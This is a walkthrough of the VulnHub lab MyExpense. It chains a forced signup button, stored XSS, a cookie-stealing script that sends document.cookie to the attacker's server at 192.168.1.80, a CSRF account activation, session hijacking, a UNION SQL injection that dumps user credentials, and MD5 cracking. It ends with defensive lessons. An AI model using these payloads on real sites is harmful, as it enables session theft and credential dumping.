the_open_door
coffee
ESEN

MyExpense 1

VulnHubMediumLinux192.168.1.158

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#vulnhub#web#stored-xss#csrf#cookie-theft#session-hijacking#union-sqli#hash-cracking#md5#business-logic
TL;DR. MyExpense is a purely web box: no shell, no root, the goal is to claim the 750 € the company owes Samuel. The chain strings business-logic flaws together with stored XSS: register an account by forcing the disabled button, steal the administrator's cookie by reflecting a <script> in admin.php and, on that same XSS, abuse a CSRF to activate the account. Then pivot between users by stealing cookies via comments, and to reach the financial approver use a UNION SQLi that dumps his MD5 hash; cracked (HackMe), the report is approved and the flag drops.

Recon

Finding the box on the network

Unlike a VPN lab, here the box is an image booted on the local network and we do not know its IP up front. The first step is an ARP sweep, which asks at the link layer and does not depend on the host answering ICMP:

sudo arp-scan -I eth0 --localnet --ignoredups --macfile=/usr/share/arp-scan/ieee-oui.txt

arp-scan walks the network's 256 hosts and gets six answers; 192.168.1.158 is highlighted with the VMware Inc. MAC 00:0c:29:44:b9:d2

Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:4d:d4, IPv4: 192.168.1.80
192.168.1.1     2c:70:4f:14:4e:c7   (Unknown)
192.168.1.158   00:0c:29:44:b9:d2   VMware, Inc.
192.168.1.128   74:e2:0c:8f:1e:6f   Amazon Technologies Inc.
192.168.1.136   a4:77:33:d7:4d:4c   Google, Inc.
6 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.526 seconds. 6 responded

The MAC vendor gives it away: VMware, while the rest of the network is a router, an Amazon and a Google device. A ping confirms it answers:

ping -c 1 192.168.1.158

the ping to 192.168.1.158 answers with ttl=64, one packet sent and one received

64 bytes from 192.168.1.158: icmp_seq=1 ttl=64 time=0.462 ms
1 packets transmitted, 1 received, 0% packet loss, time 0ms

TTL 64 undecremented → Linux with no routing hops in between, consistent with a box on the same local network.

Scan and web enumeration

The full TCP scan returns five ports, one familiar and four in the high range:

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 192.168.1.158

the scan finds 80 plus four high ports: 51007, 53117, 57381 and 57953

Discovered open port 80/tcp on 192.168.1.158
Discovered open port 53117/tcp on 192.168.1.158
Discovered open port 51007/tcp on 192.168.1.158
Discovered open port 57953/tcp on 192.168.1.158
Discovered open port 57381/tcp on 192.168.1.158

PORT      STATE SERVICE REASON
80/tcp    open  http    syn-ack ttl 64
51007/tcp open  unknown syn-ack ttl 64
53117/tcp open  unknown syn-ack ttl 64
57381/tcp open  unknown syn-ack ttl 64
57953/tcp open  unknown syn-ack ttl 64
MAC Address: 00:0C:29:44:B9:D2 (VMware)

The undecremented ttl 64 points to Linux. The four high ports show as unknown because /etc/services has nothing for those numbers; the second pass is what tells us what they are:

All five go into the next command through extractPorts:

extractPorts scan

extractPorts returns IP Address 192.168.1.158 and Open ports 80,51007,53117,57381,57953, copied to the clipboard

Extracting information ...
IP Address: 192.168.1.158
Open ports: 80,51007,53117,57381,57953

Ports copied to clipboard
nmap -p80,51007,53117,57381,57953 -sCV 192.168.1.158

nmap identifies Apache 2.4.25 on 80 with a PHPSESSID cookie lacking httponly and a /admin/admin.php entry in robots.txt, plus four Mongoose httpd on the high ports

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Futura Business Informatique GROUPE - Conseil en ing\xC3\xA9nierie
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-robots.txt: 1 disallowed entry
|_/admin/admin.php
51007/tcp open  http    Mongoose httpd
53117/tcp open  http    Mongoose httpd
57381/tcp open  http    Mongoose httpd
57953/tcp open  http    Mongoose httpd

Two things stand out, and both end up mattering:

  • The http-cookie-flags script warns that the PHPSESSID cookie does not carry the httponly flag. That flag is precisely what stops page JavaScript from reading the cookie via document.cookie. Without it, any XSS we land can steal sessions, which is exactly what we will do.
  • robots.txt has a single disallowed entry, /admin/admin.php. A file meant to tell search engines where not to look ends up being an index of the interesting parts.

The four Mongoose httpd on the high ports are minimal web servers, with no title and no useful content, and they never reappear in the chain.

whatweb and Wappalyzer close the fingerprinting:

whatweb 192.168.1.158

whatweb identifies Apache 2.4.25 on Debian with the PHPSESSID cookie and the title Futura Business Informatique GROUPE - Conseil en ingénierie

http://192.168.1.158 [200 OK] Apache[2.4.25], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ],
HTML5, HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[192.168.1.158],
Title[Futura Business Informatique GROUPE - Conseil en ingénierie]

Wappalyzer on 192.168.1.158 detects Apache HTTP Server 2.4.25, PHP and Debian, over the Welcome to MyExpense Application landing page

Web servers            Apache HTTP Server 2.4.25
Programming languages  PHP
Operating systems      Debian

The landing page itself spells out the business flow that later becomes the attack chain:

MyExpense application allow collaborators and managers to report their expenses in order to be
reimburesed as quick as possible.
Collaborator : your manager, then the financial approver have to validate your request.
Manager : the financial approver has to validate your request.

An expense needs two signatures: first the collaborator's manager, then the financial approver. That detail, printed on the landing page, is literally the escalation map.

The challenge briefing adds the context and, with it, a starting set of credentials:

the challenge briefing: Samuel Lamotte has been fired from Futura Business Informatique without collecting 750 euros and decides to attack the internal MyExpense application; his credentials were samuel/fzghn4lw

You are "Samuel Lamotte" and you have just been fired from "Futura Business Informatique".
... you did not have time to validate the expense report for your last business trip, still worth
750 euros ...
Your credentials were: samuel/fzghn4lw
Once the challenge is done, the flag will show in the application while logged in with your account.

We confirm the robots.txt find with nmap's dedicated web enumeration:

nmap --script http-enum -p80 192.168.1.158

http-enum lists /admin/admin.php and /login.php as possible admin folders, plus the robots.txt file

PORT   STATE SERVICE
80/tcp open  http
| http-enum:
|   /admin/admin.php: Possible admin folder
|   /login.php: Possible admin folder
|_  /robots.txt: Robots file

The panel lists every company user. Ours, Samuel Lamotte (slamotte), shows as Inactive: the story is that Samuel was fired and his account was locked. Other key users: pbaudouin (Financial approver), mriviere (Manager).

Users table at /admin/admin.php: slamotte (Samuel Lamotte, Collaborator) marked Inactive; pbaudouin and afoulon as Financial approver; mriviere as Manager

Registration by forcing the disabled button

slamotte's credentials (samuel / fzghn4lw) do not get us in:

login.php answers: Your account has been locked or is inactive. Please contact the administrator team.

Your account has been locked or is inactive. Please contact the administrator team.

The message says too much: it does not say "wrong username or password", it says the account exists and is locked. In other words the credentials are good and the obstacle is the account's state, not authentication. That redirects the goal: we do not need to find a password, we need to activate an account.

So we try registering a new user. The signup.php form asks for username, password, site, email, first and last name:

the Create an account form filled in with the user jaime, the site Paris and the email jaime@jaime.com, with the Sign up! button highlighted

The Sign up button is greyed out and does not respond to clicks. Inspecting it shows why:

the inspector shows the submit button carrying a disabled="" attribute in the HTML

<button class="btn btn-primary btn-block" type="submit" name="signup" value="signup" disabled="">Sign up !</button>

The lock is a disabled attribute in the HTML, that is, a decision made in the browser, which is exactly the place the attacker controls. Deleting the attribute straight from the inspector brings the button back:

the inspector with the disabled attribute pointed at on the button line, and above it the Sign up! button already active and highlighted

the application answers with the green banner Your account was successfully created! above the Log in form

The user is created, though it too is born Inactive. And here is what matters:

the Users table of admin.php with the jaime / jaime@jaime.com row highlighted and marked Inactive, next to the rest of the employees

Our registration input is reflected verbatim in admin.php, the page an administrator reviews frequently. That is fertile ground for a stored XSS.

Stored XSS + CSRF

We inject into the registration a <script> that loads a resource of ours. The fields reflected in the table are the first and last name, so the payload goes into both:

<script src="http://192.168.1.80/cookieStealer.js"></script>

the Create an account form with the script src cookieStealer.js payload in the Firstname and Lastname fields, highlighted

Before even writing the stolen-cookie file we start the server, because the first thing worth knowing is whether anyone opens that page:

python3 -m http.server 80

the http.server logs several GET /cookieStealer.js requests returning 404, repeating every minute

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.1.158 - - [03/Mar/2025 00:08:57] code 404, message File not found
192.168.1.158 - - [03/Mar/2025 00:08:57] "GET /cookieStealer.js ... HTTP/1.1" 404 -
192.168.1.158 - - [03/Mar/2025 00:09:27] code 404, message File not found
192.168.1.158 - - [03/Mar/2025 00:09:27] "GET /cookieStealer.js ... HTTP/1.1" 404 -

Those 404s are exactly the proof we were after: the file does not exist yet, but somebody is asking for it every 30 seconds, meaning a process (or simulated administrator) opens admin.php periodically and runs our <script>. Now the resource gets written:

nano cookieStealer.js

cookieStealer.js in nano: it creates an XMLHttpRequest and GETs http://192.168.1.80/?cookie= with document.cookie appended

// cookieStealer.js
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.1.80/?cookie=' + document.cookie);
request.send();

Shortly after, the HTTP server starts receiving requests: someone (the administrator) opens admin.php and runs our JavaScript, sending us their session cookie.

python http.server receiving GET /cookieStealer.js and then GET /?cookie=PHPSESSID=2pm9fn3h4g218j19l7qj7q86l5

GET /cookieStealer.js
GET /?cookie=PHPSESSID=2pm9fn3h4g218j19l7qj7q86l5

The cookie is the administrator's, but using it errors out:

the application answers: Sorry, as an administrator, you can be authenticated only once a time, over an Error 403 - Forbidden

Sorry, as an administrator, you can be authenticated only once a time.
Error 403 - Forbidden

The app does not allow two simultaneous sessions for the same user, so the stolen session cannot get us in. Another approach is needed, and it is right there in the table:

the Users table of admin.php with the Inactive label on the slamotte row highlighted, which turns out to be a button

That Inactive is not text, it is a button. And its link says everything:

the URL admin/admin.php?id=11&amp;status=active answers Sorry, something goes wrong with an Error 401 - Unauthorized when requested from our session

http://192.168.1.158/admin/admin.php?id=11&status=active
  ->  Sorry, something goes wrong.
      Error 401 - Unauthorized

Requesting it ourselves returns a 401: the action exists but demands privileges. And that is where the piece we already hold fits, because the administrator runs our code in their browser, with their session.

CSRF: activate the account with the XSS

In admin.php, the Inactive status is actually a button that flips the account to active, and only a privileged user can make that request. Since the administrator loads and runs our resource, we change the payload: instead of stealing their cookie, have their browser make the privileged request for us. It is a CSRF built on top of the XSS.

var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.1.158/admin/admin.php?id=11&status=active');
request.send();

the same cookieStealer.js rewritten in nano, now with the GET pointing at admin/admin.php?id=11&amp;status=active

The id=11 is slamotte's, and the file keeps its name because the already-injected <script src> points at it: only the contents change. Confirmation arrives on the administrator's next pass:

the http.server logs a GET /cookieStealer.js with code 200, this time served correctly

192.168.1.158 - - [03/Mar/2025 00:58:24] "GET /cookieStealer.js HTTP/1.1" 200 -

admin.php showing slamotte's account now active after the CSRF ran from the administrator's browser

With the account activated, slamotte can now log in: the pending 750 € appear, which we claim with the green button.

slamotte's session: a 750 € report (Plane tickets, Cybersecurity project) in Sent for payment status

The report moves to Submitted, not to paid:

the expense_reports.php screen with the banner The expense report is submitted successfully! and the 750-euro report's Status column reading Submitted

The expense report is submitted successfully !
  Date        Amount   Comment                                              Status
  2018-02-15  750 €    Plane tickets, Cybersecurity project n°5423545       Submitted

Pivoting between approvers

Who has to sign? slamotte's own profile says so:

slamotte's profile.php page, with the Manager field highlighted: Manon Riviere

Username : slamotte
Role     : Collaborator
Site     : Rennes
Manager  : Manon Riviere

The report needs sign-off from Manon Riviere (mriviere). And slamotte's home page carries a message board she has written on, and where we can post too:

the Home tab with the Last messages table, Manon Riviere's message highlighted at the top, and the Post a new message form highlighted below

Same pattern as before: our content that other users will read. We repeat the stored XSS, this time on port 8080 so these requests do not mix with the earlier one, which is still live:

<script src="http://192.168.1.80:8080/cookieStealer.js"></script>

the Post a new message form filled in with the script src pointing at 192.168.1.80:8080/cookieStealer.js

nano cookieStealer.js

cookieStealer.js goes back to cookie theft, now pointing at port 8080

var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.1.80:8080/?cookie=' + document.cookie);
request.send();

the posted message appears in the table as Samuel Lamotte (Rennes), Collaborator, with an empty Message column because the script is not rendered

The message shows with an empty body, which is exactly what you expect: the browser does not paint a <script> tag, it runs it.

python3 -m http.server 8080

the http.server on 8080 receives four different session cookies, each preceded by its GET /cookieStealer.js

"GET /?cookie=PHPSESSID=7hu871k1ka5qc73rfdttjipjl2 HTTP/1.1" 200 -
"GET /?cookie=PHPSESSID=u2ea1rjkat3d8ph4b6ikp8kiu1 HTTP/1.1" 200 -
"GET /?cookie=PHPSESSID=4ln75m5drj9jkdj57a71f5b4j7 HTTP/1.1" 200 -
"GET /?cookie=PHPSESSID=fe13bo3vr6ibdae11ncgsc2s80 HTTP/1.1" 200 -

Four different cookies, because four users open the board. There is no way to tell which is which without trying, so they get swapped one by one in the browser. The second one hits:

the PHPSESSID cookie replaced in the browser's Storage panel and the top bar showing Manon Riviere (mriviere)

As mriviere, the reports tab shows slamotte's waiting for approval, with the accept and reject buttons:

the Collaborators Expense reports view as mriviere, with Samuel Lamotte's 750-euro report in Submitted status and the action buttons highlighted

We approve it, but the money still does not arrive: the financial approver is missing. The admin panel reminds us there are two:

the Users table of admin.php with the afoulon and pbaudouin rows highlighted, both with the Financial approver role

And mriviere's profile settles which one:

mriviere's profile.php page, with the Manager field highlighted: Paul Baudouin

Username : mriviere
Role     : Manager
Site     : Rennes
Manager  : Paul Baudouin

It is pbaudouin. But he does not read the board, so the XSS is no route to his account.

Access as pbaudouin: UNION SQLi

The id parameter is numeric

On the Rennes tab the URL carries a site.php?id=2 that renders that site's employee table:

site.php?id=2 shows the Rennes (8 Rue des lilas, 35000 Rennes) table with Manon Riviere, Bernadette Renaud and Samuel Lamotte

Rennes (8 Rue des lilas, 35000 Rennes)
  Firstname   Lastname   Email address              Role
  Manon       Riviere    mriviere@futuraBI.fr       Manager
  Bernadette  Renaud     brenaud@lrtechnologies.fr  Collaborator
  Samuel      Lamotte    slamotte@futuraBI.fr       Collaborator

A parameter selecting rows from a table is the obvious candidate. The first probe is the usual one, breaking the query with a quote:

http://192.168.1.158/site.php?id=2'-- -

the page shows the notice Sorry, a technical error has occured. and the employee table comes out empty

Sorry, a technical error has occured.

The page breaks, which confirms the parameter reaches the query unfiltered. But it is worth understanding why it breaks, because it changes the payload: if id were a string the query would be WHERE id='2' and our quote would close it cleanly. That it fails says the opposite, that the query is WHERE id=2 without quotes because the value is numeric, so our quote is one character too many and is itself the syntax error. The practical conclusion is that here no quote should be opened: we inject directly after the number.

With that settled, the next step of a UNION injection is counting how many columns the original query returns, since UNION demands the same number. You climb with ORDER BY until it fails:

http://192.168.1.158/site.php?id=2 ORDER BY 2-- -
http://192.168.1.158/site.php?id=2 ORDER BY 3-- -

with ORDER BY 2 the table comes back without errors and reordered: Bernadette Renaud moves to the first row

ORDER BY 2 not only does not fail: the table comes back reordered (Bernadette is now first), which confirms the injection really is executing rather than simply being ignored.

with ORDER BY 3 the page shows the notice Sorry, a technical error has occured. above the Rennes tab table

ORDER BY 2  ->  the page answers normally
ORDER BY 3  ->  Sorry, a technical error has occured.

Ordering by column 2 works and by column 3 does not, so the query returns exactly 2 columns.

Credential dump

With two columns we build the UNION SELECT and walk the schema top-down. First the databases:

site.php?id=2 UNION SELECT NULL, schema_name FROM information_schema.schemata-- -

the answer lists information_schema, myexpense, mysql and performance_schema under the site name

Rennes (8 Rue des lilas, 35000 Rennes)
(information_schema)
(myexpense)
(mysql)
(performance_schema)

Of the four, three belong to the engine and only myexpense is the application's. Its tables:

site.php?id=2 UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_schema='myexpense'-- -

the answer lists myexpense's four tables: expense, message, site and user

(expense)
(message)
(site)
(user)

And the columns of user, the one that matters:

site.php?id=2 UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_schema='myexpense' AND table_name='user'-- -

the answer lists the user table's columns, with username and password pointed at by red arrows

(user_id) (username) (password) (role) (lastname) (firstname)
(site_id) (mail) (manager_id) (last_connection) (active)

With the exact names we can ask for the user:password pair. The group_concat joins them all into a single cell, which is what you need when the response only prints one value per row:

site.php?id=2 UNION SELECT NULL, group_concat(username,0x3a,password) FROM user-- -

The UNION SQLi dumps the user table, with pbaudouin:64202ddd5fdea4cc5c2f856efef36e1a highlighted

pbaudouin:64202ddd5fdea4cc5c2f856efef36e1a

Cracking the MD5 hash

pbaudouin's hash is 32 hex characters, the signature of an unsalted MD5. With no salt, the same text always produces the same hash, and that lets us skip brute force entirely: a lookup in a rainbow table service, precomputed tables mapping hash to plaintext, is enough.

Hashes.com returns 1 hashes were checked: 1 found 0 not found and the pair 64202ddd5fdea4cc5c2f856efef36e1a:HackMe

Proceeded! 1 hashes were checked: 1 found 0 not found

Found:
64202ddd5fdea4cc5c2f856efef36e1a:HackMe

The flag

With pbaudouin:HackMe we log in as the financial approver, and his view is different: he sees all three sites in the menu and the reports already validated by the managers, with a green payment button:

Paul Baudouin's (pbaudouin) session with Manon Riviere's and Samuel Lamotte's reports in Validated status and the action buttons highlighted

Collaborators Expense reports
  2018-02-21  Manon Riviere    553 €  A new computer.                       Validated
  2018-02-15  Samuel Lamotte   750 €  Plane tickets, Cybersecurity project  Validated

We approve slamotte's and the application confirms it:

the banner The expense report is sent for payment successfully! and Samuel Lamotte's report already gone from the list

The expense report is sent for payment successfully !

Back in slamotte's session, the application confirms the objective met: Samuel gets his money back.

slamotte's session after approval: banner "Congratz ! The flag is : flag{H4CKY0URL1F3}" and the 750 € report in Sent for payment

flag{H4CKY0URL1F3}

Attack chain

admin.php reflects the input  ->  stored XSS in the registration
    └─> the admin runs the JS  ->  cookie theft (single-session, useless)
            └─> same XSS -> CSRF admin.php?id=11&status=active  ->  slamotte active
                    └─> login slamotte (750 €)  ->  XSS via comment  ->  mriviere's cookie
                            └─> pbaudouin ignores the chat  ->  UNION SQLi in site.php?id
                                    └─> pbaudouin:MD5 -> HackMe  ->  approve report  ->  flag

Lessons learned

  • A disabled button is not a security control. disabled lives on the client; removing it in the DOM is enough to submit the form.
  • Reflecting input on a page a privileged user views is XSS + CSRF. The same payload serves to steal the cookie or to run privileged actions on the victim's behalf.
  • Chained approval logic is exploitable link by link. Each role (collaborator, manager, approver) is compromised with whatever technique its behaviour allows.
  • An unquoted numeric id is still SQLi. No quote is needed to inject when the value is not wrapped in quotes in the query.
  • Unsalted MD5 is cleartext with a delay. A rainbow table returns the password in seconds.
Command cheatsheet 8 commands

Quick review